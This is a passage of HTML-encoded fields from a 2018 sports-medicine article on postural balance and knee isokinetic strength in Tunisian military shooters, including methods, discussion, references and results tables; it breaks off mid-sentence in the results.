orthopedic problems.</span></li>\r\n</ul>\r\n\r\n<pre style=\"text-align:justify\">\r\n<span style=\"font-family:Times New Roman,Times,serif\">Atheletes who hasn&rsquo;t been training for the last fifteen days and those with osteo-articular or visual problems were excluded from the study.\r\n</span></pre>\r\n\r\n<pre style=\"text-align:justify\">\r\n<span style=\"font-family:Times New Roman,Times,serif\">The participants had a complete physical evaluation prior to the instrumental evaluation.\r\n</span></pre>\r\n\r\n<pre style=\"text-align:justify\">\r\n<span style=\"font-family:Times New Roman,Times,serif\">Besides the anthropometric data, the outcome measures of the physical examination were:</span></pre>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1.</strong></span>&nbsp;<strong>Postural Profile</strong></p>\r\n\r\n<p>Participants were examined standing up, the examination was done on a patient standing, barefoot and undressed.</p>\r\n\r\n<p>Using a plumb line, we studied the different spinal curvatures by measuring:</p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">The cervical arrow at C7 (mm)</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">The dorsal arrow at D8 (mm)</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">The lumbar arrow at L3 (mm)</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">The sacral arrow at S2 (mm).</span></li>\r\n</ul>\r\n\r\n<p><strong>4.2.</strong><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;<strong>Spinal Flexibility</strong> </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Using the fingertip-floor distance and the Sch&ouml;ber index</span></p>\r\n\r\n<p><strong>4.3.</strong><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;<strong>Lower Limb Flexibility</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Using the heel-bottom distance to evaluate the Rectus Femoris retraction. A distance superior to 15cm implies retraction. The popliteal angle was used to assess the hamstrings retraction. An angle superior to 0 implies retraction.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.4.</strong> <strong>Podiatry Examination </strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">We have completed the clinical examination of our candidates by a static examination of the feet on a plexiglas tangential light podoscope in search of a possible anomaly of the footprints type pes cavus or pes planus feet that can interfere with their balance. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The outcome measures of the instrumental evaluation were:</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.5.</strong>&nbsp;<strong>Postural Evaluation on a Static Platform</strong> </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">We proceeded to a postural evaluation on a Winposture&reg; static platform (Photo N&deg;1). It is an ultra-thin, 16-bit electronic platform that allows reliable recordings at 40 Hertz. All miniaturized signal processing electronics are integrated into the thickness of the platform. The evaluation was done with the athletes standing on the platform, facing a target at eye level, with the feet in the reference position indicated on the platform and then simulating the shooting position. It was made witheyes open (OE) then Closed Eyes (CE) for each position. Postural balance was evaluated in terms of Surface of the confidence ellipse (Surface), anteroposterior (average Y) and mediolateral (average X) sway velocity of the movement of the COP and Romberg&#39;s quotient (QRBG).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.6.</strong>&nbsp;<strong>Isokinetic Measurements</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The isokinetic evaluation of the muscle knees was carried out on a BIODEX isokinetic machine (Photo N&deg;2). The participants were installed following the manufacturer&#39;s recommendations in order to ensure better reproducibility of the measurements. Effective strapping was performed on the trunk and thighs to limit the compensations. The subjects were asked to perform movement of flexion and extension of the knees at three different velocities: 60&deg;/s, 180&deg;/s and 300&deg;/s. We measured the Peak Torque (PT), the peak torque normalised to body mass (PT/Body mass), the functional hamstring to quadriceps ratio (H/Q ratio) and the average power (Pow). Isokinetic excentric evaluation could not be done because of lack of preexisting program in the machine.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The dominant side was chosen according to the laterality of the candidate.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.7.</strong>&nbsp;<strong>Statistical Analysis</strong> </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The statistical analysis of the data was done by the software SPSS 17. Quantitative variables were analysed by their means &plusmn; Standard Error (ES).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.8.</strong>&nbsp;<strong>Ethic Conflict</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The consent of the candidates was obtained to participate to the study</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Discussion</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Our study allowed an objective and quantitative evaluation of postural profile and isokinetic evaluation among tunisian military shooters.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Instrumental assessment of the balance noted a decreased surface and a decrease in the anteroposterior sway of the center of pressure in the majority of the shooters. On the isokinetic evaluation, a statistic difference was found between the dominant and the non-dominant side in the flexors at 180&deg;/sec and 300&deg;/sec.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In most of our participants, we have noted a tendency towards lumbar hyperlordosis. This tendency to rear projection is explained by the posture adopted by the athlete during the shooting. The shooter with a firm grip on his gun is forced to lean slightly backward for better stability. The maintenance of a standing position during bipodal support is a binding task. The sensory information of posture and its changes are numerous. The main sources of this information are vestibular, visual and proprioceptive inputs. The contribution of each entry varies according to a specific postural training. In many sports, the role of static balance is important. This balance is crucial in shooting where even the smallest changes in posture can influence performance. The surface was diminished in the majority of athletes thus testifying of a less oscillation of the COP. In the upright position, the COP sway is found to be considerably less important among trained shooters compared to the control subjects [6]. Many studies investigated the physical conditions that determine instability or tremor of the shooter and the ways in which they can be minimized to improve the accuracy of the shot [12]. Thus, for a better stabilization of the firearm, an optimal control of the body movements is necessary.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">There are numerous references to the effects of postural balance [6,1] and the weapon stability while shooting [3,4,13-16]. Ball et al. [3] found that postural balance affects rifle stability. Postural balance and rifle stability tend to be different in inexperienced shooters with greater postural balance perturbations causing larger gun movements [1]. Experienced shooters have greater ability to keep their rifles more stable during the aiming period compared to novices [15,17,18] as their body oscillations are much smaller [14]. Experienced shooters rely less on visual input to stabilize their posture. Viitasalo et al. [9] showed that the COP movement in the last 2-4 seconds before firing is less than 1 mm. When shooting, athletes must remain as steady as possible during their performance. Experienced shooters were found to have less body sway compared to novices [6,19]. Some researchers [6] have studied the association between the balance capabilities and the shooting performance. They found that lesser body sway is a crucial determinant to a great performance. For most sports, there is a demand for the lower limbs, especially the knees, because of their mobility. A muscle imbalance in this joint&nbsp;will affect performance and expose the athlete to the risk of muscle damage. This notion applies particularly to shooting where stable knees are necessary to ensure a better postural balance and especially to minimize the oscillations of the COP of the body weight. Several authors have stressed the need to perform isokinetic tests before starting the season [20]. This evaluation allows an objective and quantitative muscular evaluation and detects the possible muscular imbalance around the studied articulation.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Yeung et al. [21] showed, after a 12-month follow-up of high-level sprint runners, that a ratio inferior to 0.6 measured at 180&deg;/sec was considered as a risk factor for muscle injury and tendinous rupture. Our athletes had a ratio more than 0.6 to 180&deg;/ sec, which indicates a strong quadriceps in order to maintain an optimal stability of the knees allowing better control of the oscillation of the COP.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The study of the agonist / antagonist ratio is therefore important in order to evaluate static and dynamic stability of the knee and to detect athletes at high risk of hamstring injuries [22].</span></p>\r\n\r\n<p><strong><span style=\"font-family:Times New Roman,Times,serif\">7. Conclusion</span></strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Postural control in athlete shooters is a crucial factor conditioning the performance&nbsp;&nbsp; of the athlete. The nature and the specificities of the sport can also influence the postural profile of the athlete. Identification of Postural and muscle profile of shooters allows a better understanding of mechanisms of stability among this population and allows introducing the concept of rehabilitation in cases of instability. Isokinetic evaluation allows appreciating the knee muscles strength, in order to detect a possible imbalance that can lead to injury.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>8. Conflict of Interest:</strong> None.</span></p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>References</strong></span></p>\r\n\r\n<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/17394480\">Mononen K, Konttinen N, Viitasalo J, Era P (2007) Relationships between postural balance, rifle stability and shooting accuracy among novice rifle shooters. Scand J Med Sci Sports 17: 180-185.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/16446677\">Pellegrini B, Schena F (2005) Characterization of arm-gun movement during air pistol aiming phase. J Sports Med Phys Fitness 45: 467-475.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://journals.humankinetics.com/doi/abs/10.1123/jab.19.1.28\">Ball KA, Best RJ, Wrigley TV (2003) Inter- and intra-individual analysis in elitesport: Pistolshooting. J ApplBiomech 19: 28-38.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Mason B, Cowan L, Gonczol T (1990) Factors affecting accuracy in pistol shooting. Excel 6: 2-6.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.bisp-surf.de/Record/PU199912403538\">Viitasalo J, Era P, Mononen H, Norvapalo K, Rintakoski E (1998) Effects of footwear on posture control of running target shooters. Int J Sports Sci Coach 3: 3-6.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/8850636\">Era P, Konttinen N, Mehto P, Saarela P, Lyytinen H (1996) Postural stability and skilled performance&ndash;a study on top-level and naive rifle shooters. J Biomech 29: 301-306.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/2392286\">Aalto H, Pyykko I, Ilmarinen R, Kahkonen E, Starck J (1990) Postural stability in shooters. ORL J Otorhinolaryngol Relat Spec 52: 232-238.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/6850974\">Niinimaa V, McAvoy T (1983) Influence of exercise on body sway in the standing rifle shooting position. Can J Appl Sport Sci 8: 30-33.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Viitasalo JT, Era P, Norvapalo K, Mononen H, Mononen K, et al. (1997) Posture control in running target shooting. In Proceedings of the XVIth Congress of the International Society of Biomechanics. Pg No: 25-29.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Su FC, Wu WL, Lee WD (2000) Stance Stability in Shooters. J Med Biol Eng 20: 187-192.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/21916795\">Hawkins RN, Sefton JM (2011) Effects of stance width on performance and postural stability in national-standard pistolshooters. J Sports Sci0 29: 1381-1387.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/18992872\">Goonetilleke RS, Hoffmann ER, Lau WC (2009) Pistol shooting accuracy as dependent on experience, eyes being opened and available viewing time. Appl Ergon 40: 500-508.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/2081743\">Zatsiorsky V, Aktov (1990) Biomechanics of highly precise movements: the aiming process in air rifle shooting. J Biomech 23: 35-41.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/9564711\">Konttinen N, Lyytinen H, Viitasalo J (1998) Rifle balancing in precision shooting: behavioral aspects and psychophysiological implication. Scand J Med Sci Sports 8: 78-83.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/12753494\">Mononen K, Viitasalo JT, Era P, Konttinen N (2003) Optoelectronic measures in the analysis of running targetshooting. Scand J Med Sci Sports 13: 200-207.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/9414347\">Yuan CK, Lee YH (1997) Effects of rifle weight and handling length on shooting performance. Appl Ergon 28: 121-127.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Viitasalo J, Era P, Konttinen N, Mononen K, Mononen H, et al. (1999) The posture steadiness of running target shooters of different skill levels. Kinesiology 31: 11.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/10843511\">Konttinen N, Landers DM, Lyytinen H (2000) Aiming routines and their electrocortical concomitants amongcompetitive rifle shooters. Scand J Med Sci Sports 10: 169-177.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.tandfonline.com/doi/abs/10.1080/00222899909601888\">Konttinen N, Lyytinen H, Era P (1999) Brain slow potentials and postural sway behavior during sharpshooting performance. Journal of Motor Behavior 31: 11-20.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S0168605401001581\">Amoto M, Lemoine F, Gonzales J, Afriat P, Bernard PL (2001) Influence de l&rsquo;&acirc;ge et de l&rsquo;activit&eacute; sportive sur le profil isocin&eacute;tique des muscles quadriceps et ischio-jambiers des jeunes sportifs gymnastes et footballeurs. Ann Readapt Med Phys 44: 581-590.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://bjsm.bmj.com/content/43/8/589\">Yeung SS, Suen AM, Yeung EW (2009) A prospective cohort study of hamstring injuries in competitive sprinters: preseason muscle imbalance as a possible risk factor. Br J Sports Med &nbsp;43: 589-594.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S0765159713000075\">Hammami N, Zinoubi B, Hamdi F, Nouri A, Zouita A, et al. (2013) Profil isocin&eacute;tique des muscles du genou chez destaekwondo&iuml;stes &eacute;lites olympique. Science &amp; Sports 28: 188-195.</a></span></li>\r\n</ol>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\">A Comparative study was done between dominant and non-dominant side.The average peak torque was compared between the dominant and non-dominant side of the extensors and then the flexors for each angular velocity. A statistic difference was found between the dominant and the non-dominant side in the flexors at 180<sup>&deg;</sup>/sec and 300<sup>&deg;</sup>/sec (figure 1).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1972eeaf.jpg\" style=\"height:324px; width:569px\" /></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> Comparison of the peak torque between dominant and non-dominant side.</span></p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\">Citation: Imene K, Wafa EM, Rim M, Amira B, Hajer RK (2018) Postural and Isokinetic Evaluation of Tunisian Military Shooters. J Sports Sci Physical Ther: JSSPT-100001.</span></p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Results</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Table 1 shows the anthropometric characteristics of the athletes.</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:92.1pt\">&nbsp;</td>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n<strong>Minimum</strong></pre>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n<strong>Maximum</strong></pre>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<pre style=\"text-align:center\">\r\n<strong>Mean&plusmn;SD</strong></pre>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n<strong>Age (years)</strong></pre>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n22</pre>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n38</pre>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<pre style=\"text-align:center\">\r\n27.5<span style=\"color:red\">&plusmn;</span>4.9</pre>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n<strong>Weight (Kg)</strong></pre>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n56</pre>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n91</pre>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<pre style=\"text-align:center\">\r\n71.7<span style=\"color:red\">&plusmn;</span>11.3</pre>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n<strong>Height (m)</strong></pre>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n1.61</pre>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n1.82</pre>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<pre style=\"text-align:center\">\r\n1.71<span style=\"color:red\">&plusmn;</span>0.07</pre>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n<strong>BMI (Kg/m<sup><span style=\"color:red\">&sup2;</span></sup>)</strong></pre>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n19.6</pre>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<pre style=\"text-align:center\">\r\n29.4</pre>\r\n			</td>\r\n			<td style=\"width:92.15pt\">\r\n			<pre style=\"text-align:center\">\r\n24.5<span style=\"color:red\">&plusmn;</span>3.3</pre>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<div>\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Table 1: Anthropometric characteristics of the participants.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The average cervical, lumbar and sacral arrows were 42&plusmn;11.8mm, 48.5&plusmn;13.5mm and 25&plusmn;10.8mm, respectively. We have noted a tendency towards lumbar hyperlordosis. The mean Sch&ouml;ber index was 10+5.9cm and the average fingertip-floor distance was 4.2&plusmn;2.1cm. The average popliteal angle was 20&deg;&plusmn;15&deg; and the average heel-bottom distance was 14&plusmn;3cm. five athletes had normal footprint on the Podiatry examination, 4 had per cavus feet and one had per planus feet.</span></p>\r\n\r\n<p><strong>5.1.&nbsp;<strong>Postural Evaluation on a Static Platform</strong></strong></p>\r\n\r\n<p style=\"text-align:justify\">The data from the postural evaluation are shown in <span style=\"color:red\">table 2</span>.</p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td rowspan=\"5\" style=\"width:50.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Standard position</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#003366; width:82.4pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#003366; width:83.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Minimum</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#003366; width:84.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Maximum</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#003366; width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#003366; width:79.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">SD</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:82.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Surface</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:83.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">6.5</span></p>\r\n			</td>\r\n			<td style=\"width:84.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">103.7</span></p>\r\n			</td>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">45.8</span></p>\r\n			</td>\r\n			<td style=\"width:79.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">29.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:82.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Average X</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:83.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">-24.3</span></p>\r\n			</td>\r\n			<td style=\"width:84.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">11.4</span></p>\r\n			</td>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">-5.1</span></p>\r\n			</td>\r\n			<td style=\"width:79.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:82.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Average Y</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:83.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">-79.6</span></p>\r\n			</td>\r\n			<td style=\"width:84.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">-27.8</span></p>\r\n			</td>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">-62.8</span></p>\r\n			</td>\r\n			<td style=\"width:79.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">15</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:82.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">QRBG</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:83.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">62</span></p>\r\n			</td>\r\n			<td style=\"width:84.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">131</span></p>\r\n			</td>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">93.7</span></p>\r\n			</td>\r\n			<td style=\"width:79.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">24.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:50.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Shooting position</strong></span></p>\r\n			</td>\r\n			<td style=\"width:82.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Surface</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:83.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">19.8</span></p>\r\n			</td>\r\n			<td style=\"width:84.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">70</span></p>\r\n			</td>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">46.9</span></p>\r\n			</td>\r\n			<td style=\"width:79.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">15.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:82.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Average X</span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:83.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">-21.2</span></p>\r\n			</td>\r\n			<td style=\"width:84.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10.9</span></p>\r\n			</td>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">-3.6</span></p>\r\n			</td>\r\n			<td style=\"width:79.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:50.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"width:82.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Average Y</span></p>\r\n			</td>\r\n			<td style=\"width:83.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">-84.6</span></p>\r\n			</td>\r\n			<td style=\"width:84.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">-51.1</span></p>\r\n			</td>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">-67.2</span></p>\r\n			</td>\r\n			<td style=\"width:79.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:82.7pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">QRBG</span></p>\r\n			</td>\r\n			<td style=\"width:83.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">80</span></p>\r\n			</td>\r\n			<td style=\"width:84.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">244</span></p>\r\n			</td>\r\n			<td style=\"width:81.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">139.7</span></p>\r\n			</td>\r\n			<td style=\"width:79.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">47.9</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Table 2: results from the postural evaluation on a static platform.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The surface: comparing to normalized parameters calculated for general population, a decreased surface was noted in 4 athletes OE and 9 CE in the standard position. A 